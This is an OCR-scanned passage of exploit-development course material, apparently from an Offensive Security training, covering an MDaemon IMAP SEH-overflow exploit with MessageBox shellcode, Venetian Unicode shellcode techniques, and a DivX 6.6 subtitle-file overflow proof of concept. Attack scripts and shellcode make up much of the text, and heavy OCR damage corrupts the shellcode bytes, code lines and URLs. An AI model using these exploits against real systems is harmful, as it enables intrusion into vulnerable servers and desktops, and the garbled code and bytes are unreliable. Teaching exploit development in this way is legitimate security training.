parser = OptionParser (usage=usage)

parser.add option("-H", "—~target host", type="string",

action="store", dest="HOST",
help="Target Host")

parser.add option{"-P", "--target port", type="int",
action="store", dest="PORT",
help="Target Port")

parser.add option{"-1", "--login-user", type="string",
action="store", dest="USER",
help="User login")

parser.add option("-p", "--login-password", type="string",
action="store", dest="PASSWD",
help="User password")

(options, args) = parser.parse args{;
HOST = options.HOST

PORT = options.PORT

USER = options.USER

PASSWD = options.PASSWD

if not (HOST and PORT and USER and PLSSWD) :
parser.print help()
sys.exit ()

# windows/ MESSAGEBOX SHELLCODE - 185 bytes

shellcode = (
"\x83\xEC\xGO\xSB\xEC\xBS\xCO\x64\xBB\x40\x30\xSB\x40\xoc\xSB\xTO\xlc\th"
"\xSB\x78\x08\xEB\x51\x5E\x93\xEE\xSO\xEB\x5U\xSD\xBB\xE!\xSB\x45\x3c\xBB"
"\x7C\%28\x78\x03\xFD\x8B\x4F\x18\x8B\x5F\x20\x03\xDD\xE3\x33\x4 9\x8B\x34"
"\xBB\xOS\xF5\x33\xCO\xQQ\xEC\xAC\xB4\xCD\xT&\xOT\xCl\xCA\xOD\xDB\xDO\xEB"
"\xF4\x33\x54\x24\x28\x?5\xE2\xBB\x5F\x24\x03\xDD\x6E\xBB\xGC\x4B\xBB\x5F"

29htt;:;:,/f\a'\rwm.ﬂ.mjIwOrm,cc:r'mfr-:xpFo]ts,,!S248
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"\xlc\x03\xDD\xEB\x04\xSB\xO3\xC5\x89\x44\x24\xlC\xSl\xCB\xES\xAA\xFF\xFF“
"\xFF\x68 \xBE\x&E\xDE\xmc\xsv\xrr\xn6\x89\x45\xlO\xsa\xTE\xDS\xzz\x?a\xST"
"\xFF\xDG\xS9\x45\xlC\x33\xCO\x66\xBB\x33\x32\x50\x68\x75\x73\x65\x72\x54"
"\xFF\xS5\xlO\xSB\xFB\xSS\th\xAZ\xiD\xBC\xST\fo\xDS\xBQ\x45\x18\x33\x€0"
“\xSO\xGS\x?D\xTT\x6E\x64\x54\x59\x50\x51\xSl\xSO\xEF\xBS\xlB\x33\xc9\x51"
"\xFF\x55\x1C\x90\x90" )

8 = socket (AF INET, SOCK STREAM)

print " [+] Connecting to imap server..."

s.connect ( (HOST, PORT))

print s.recv (1024}

prant * [+] Togging in...”

s.send ("0001 LOGIN %s %s\r\n" % (USER, PASSWD))

print s.recv(1024)

print " [+] Selecting Inbox Folder.._ ."

5.5end ("0002 SELECT Inboz\r\n"}

print s.recwv(1024)

print " [+] We need at least one message in Inbox, appending one..."

s.send('0003 APPEND Inbox {1}\r\n')

print s.recv(1024)

print " [+] What would you like for dinner? SPACHETTI AND PWNSAUCE?"

s.send ('SPAGHETTI AND PWNSRUCE\r\n')

print s.recv(1024)

print " [+] DINNER'S READY: Sending Evil Buffer..."

# Seh overwrite at 532 Bytes

# pop edi; pop ebp; ret; From mdaemon/HashCash.dll

EVIL = "A"*528 + "\xEB\x06\x90\x90" + "\xBb\xll\xdc\x64" + "\x00"*8 + \
shellcode + 'C'#¥35

s.send("A654 FETCH 2:4 (FLAGS BODY[" 4+ EVIL + " (DATE FROM}]1)\rin")

g.cloge()

print " [+] DONE! Check your shell on $s:%d" % (HOST, 4444)

MDaemon imap exploit, MessageBox shellcode
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Figure 34: MDaemon styled "pwnd" MessageBox

1) Follow the exploit by attaching the imap process from within the debugger, don't forget to set a
breakpoint on the POP POP RET address; you should get a nice "pwnd" Mdaemon styled message box.

This module discussed the theory and practce behind creating custom shellcode which can be used
universially on various Windows Platforms. Although smaller and simpler shellcode can be achieved by

statically calling the required functions, finding these function addresses dynamically is the only way to
go in Windows Vista, due to ASLR.
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Module 0x04 Venetian Shellcode

* Understanding Unicode Overflows

* Understanding and using Venetian Shellcode in limited character set environments
* Exploiting the DIVX 6.6 vulnerability using Venetian Shellcode

Overview

“Unicode is a computing industry standard allowing computers to consistently represent and
manipulate text expressed in most of the world’s writing systems”m. The Unicode character set uses
sixteen bits per character rather than 8 bits like ASCII, allowing for 65,536 unique characters. This means
that if an operating system uses Unicode, it has to be coded only once and only internationalization
settings need to be changed (character set and language).

The problem in exploiting buffer overflows occurring in Unicode strings, is that “standard” shellcode
sent to the vulnerable application is “modified” before being executed because of the Unicode
conversion applied to the input buffer. The consequence is that standard shellcode can’t be executed in
these situations resulting in a crash. “The Venetian exploit” paper written by Chris Anley in 2002%" was
the first public proof that buffer overflows which occur in Unicode strings can be exploited. The paper
introduces a method for creating shellcode using only UTF-16 friendly opcodes, that is, with every

second byte being a NULL. In this module we will study the Venetian method and apply it to a buffer
overflow which affects a well known multimedia player.

30ht‘cp:;",f\c_ln.v\.rik'|peclia.cr,_a_r;/’w\.rikl,z‘Unicode

31Creating Arbitrary Shell Code in Unicode Expanded Strings, January 2002 (Chris Anley)
http://www.ngssoftware.com/papers/unicodebo.pdf
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Under Windows, two functions are responsible for ASCIl to Unicode conversion and vice versa,
respectively: MultiByteToWideChar and WideCharToMultiByte™.

intMultiByteToWideChar (

UINT CodePage, <=== PAGE

DWORD dwFlags,

LPCSTE lpMultiByteStr, <--= SOURCE STRING

intcbMultiByte,

LPWSTR lpWideCharStr, <--- DESTINATION STRING
intcchWideChar

i

intWideCharToMultiByte (

UINT CodePage, <——— PRGE

DWCRD dwFlags,

LPCWSTR lpWideCharStr, <——— BQURCE STRING
intcchWideChar,

LESTR lpMultiByteStr, <--- DESTINATION STRING
intcbMultiByte,

LPCSTR lpDefaultChar,
LPBOOL lpUsedDefaultChar
Vi

Win32 API unicode coversion functions

The first parameter passed to both the above functions is the code page which is very important. The
code page describes the variations in the character-set to be applied to 8-bit/16-bit value, on the base of
this parameter the original value may turn into completely different 16-bit/8-bit values. The code page
used in the conversions can have a big impact on our shellcode in Unicode-based exploits. However, in
most of the cases, ASCIl characters are generally converted to their wide-character versions simply
padding them with a NULL byte (0x41 -> 0x4100); luckily, this is also the case of the application that we
are going to exploit in this module.

32, . :
Unicode characters are often referred to as wide characters.
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As explained in [31], the “Venetian” technique consists of using two separated payloads - the first
payload, that is half of the final one we want to execute, is used as a “solid” base in which bytes are
interleaved with NULL gaps because of the Unicode conversion. The second payload is a shellcode writer
completely written with a set of instructions that are Unicode in nature. Once the execution passes to
the shellcode writer, it starts to fill the null gaps replacing them, byte by byte, with the second half of
the final shellcode in order to obtain our complete payload. The name “Venetian Blinds” comes from the

fact that the Unicode buffer can be imagined to be somewhat similar to a Venetian blind closed by the
shellcode writer.

The key points of this method are:
* There must be at least one register pointing to our Unicode buffer;

* XCHG opcodes and ADD / SUB operations with multiples of 256 bytes can be safely used to
further adjust the register that will be used for writing arbitrary bytes filling zeroes;

* We must modify memory, using instructions that contain alternating zeroes (Unicode
friendly opcodes);

* We must insert "nop" equivalent opcodes between instructions in order to make sure that
our code is aligned correctly on instruction boundaries.

Anley choose to use instructions like the following in order to "realign" shellcode:

00 6D 00:add byte ptr [ebp],ch
00 6E O0:add byte ptr [esi],ch
00 6F 00:add byte ptr [edi],ch
00 70 00:add byte ptr [eax],dh
00 71 00:add byte ptr [ecxz],dh
00 72 00:add byte ptr [edx],dh
00 73 00:add byte ptr [ebx],dh

Nop instructions that can be used to align shellcode

The choice obviously depends on which of our registers points to a writable memory area which won’t
bring execution problems while being overwritten. Assuming that there is a at least one register that

points to our Unicode buffer the shellcode writer “core” will be composed of the following instruction
set:
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80
00
40
00
40
0o

0C 75:add byte ptr [eax],75h
6D 00:add byte ptr [ebp],ch

rinc eax

6D 00:add byte ptr [ebpl,ch

:inc eax

6D 00:add byte ptr [ebpl,ch

Shellcode Writer Instructions Set

This will end up with arbitrary bytes filling the zeroes inside our shellcode. Please be sure to study texts
[31] and [33] carefully before moving on.

1)

2)
3)
4)
5)

6)

Exercise

Manually build a “Venetian” payload writer in order to obtain the following ASM instructions:

OR DX, 0x0FFF
INC EDX
PUSH EDX
PUSH 0x2

You can use the metasploit nasm shell to discover the relative opcodes.

Open venetian.exe from OllyDbg and set a breakpoint at address 0x00401049 (JMP EAX)

Press FS to reach your breakpoint and then F7 to step in to the first NOP instruction

Scroll down in the disassembly window and you will see that venetian.exe already has the part
of the payload that need to be completed by your venetian writer

Binary paste your “Venetian” payload writer in the disassembly window starting at the
beginning of the NOPs instructions

Follow the “Venetian” writer execution step by step and check that is actually “creating” your
shellcode

33http:,,’,-’\..\.ﬂ\.i\.rw‘blackhat.cornf';:aresentations,f'win~usa~04/bh-win—04~f:‘c.ndf
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We will exploit a buffer overflow vulnerability found in DivX Player in 2008 by securfrog. The overflow
occurs when the DivX Player parses a subtitle file with an overly long subtitle DIV, We will use the
Venetian Blinds Method by using the original POC* and obtain code execution. The first POC we are

going to analyze is a modified version of the one supplied by securfrog in which we increase the buffer
size in order to overwrite the Structure Exception Handler to own EIP.

#1/usr/bin/python

# DivXPOCOLl.py

# AWE - Offensive Security

# DivK 6.6 SEH SRT Overflow - Unicode Shellcode Creation POCOL
# file = name of avi wvideo file

file = "infidel.srt"

stub = "\x41" * 3000000

f = open{file, 'w")

wWrite("1 \n")

~Write("00:00:01,001 --> 00:00:02,001\n"}
-write(stub)

.close()

print "SRT has been created - ph33r \n";

o Fn Eh o

POCO1 Source Code

Running POCO1, the application throws an exception. As the SEH is completely overwritten by our
buffer, we can control the execution flow. Nevertheless SEH is not overwritten with our usual
0x41414141 but with 0x41004100, indicating that our buffer has been converted to Unicode before

smashing the stack. If you are not familiar with SEH exploitation technique, please read Text [36]
carefully before proceeding.

34http://www_securitvfocus.com;’bid,’28799

3shttp:;’,e"w.r\a-\,'w.miiw[}rm,cr::mf‘exp[t:rits,J’SﬂJcSZ

36http:,f')fww\.'\.nngssc)ftware.com,fpa;:;ers,a’defea\ting-WZkE’:—stack-protectiom:ncif (Litchfield 2003)
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Figure 35: SEH overwritten by our evil buffer

Exercise

1) Repeat the required steps in order to fully overwrite the Structure Exception Handler.
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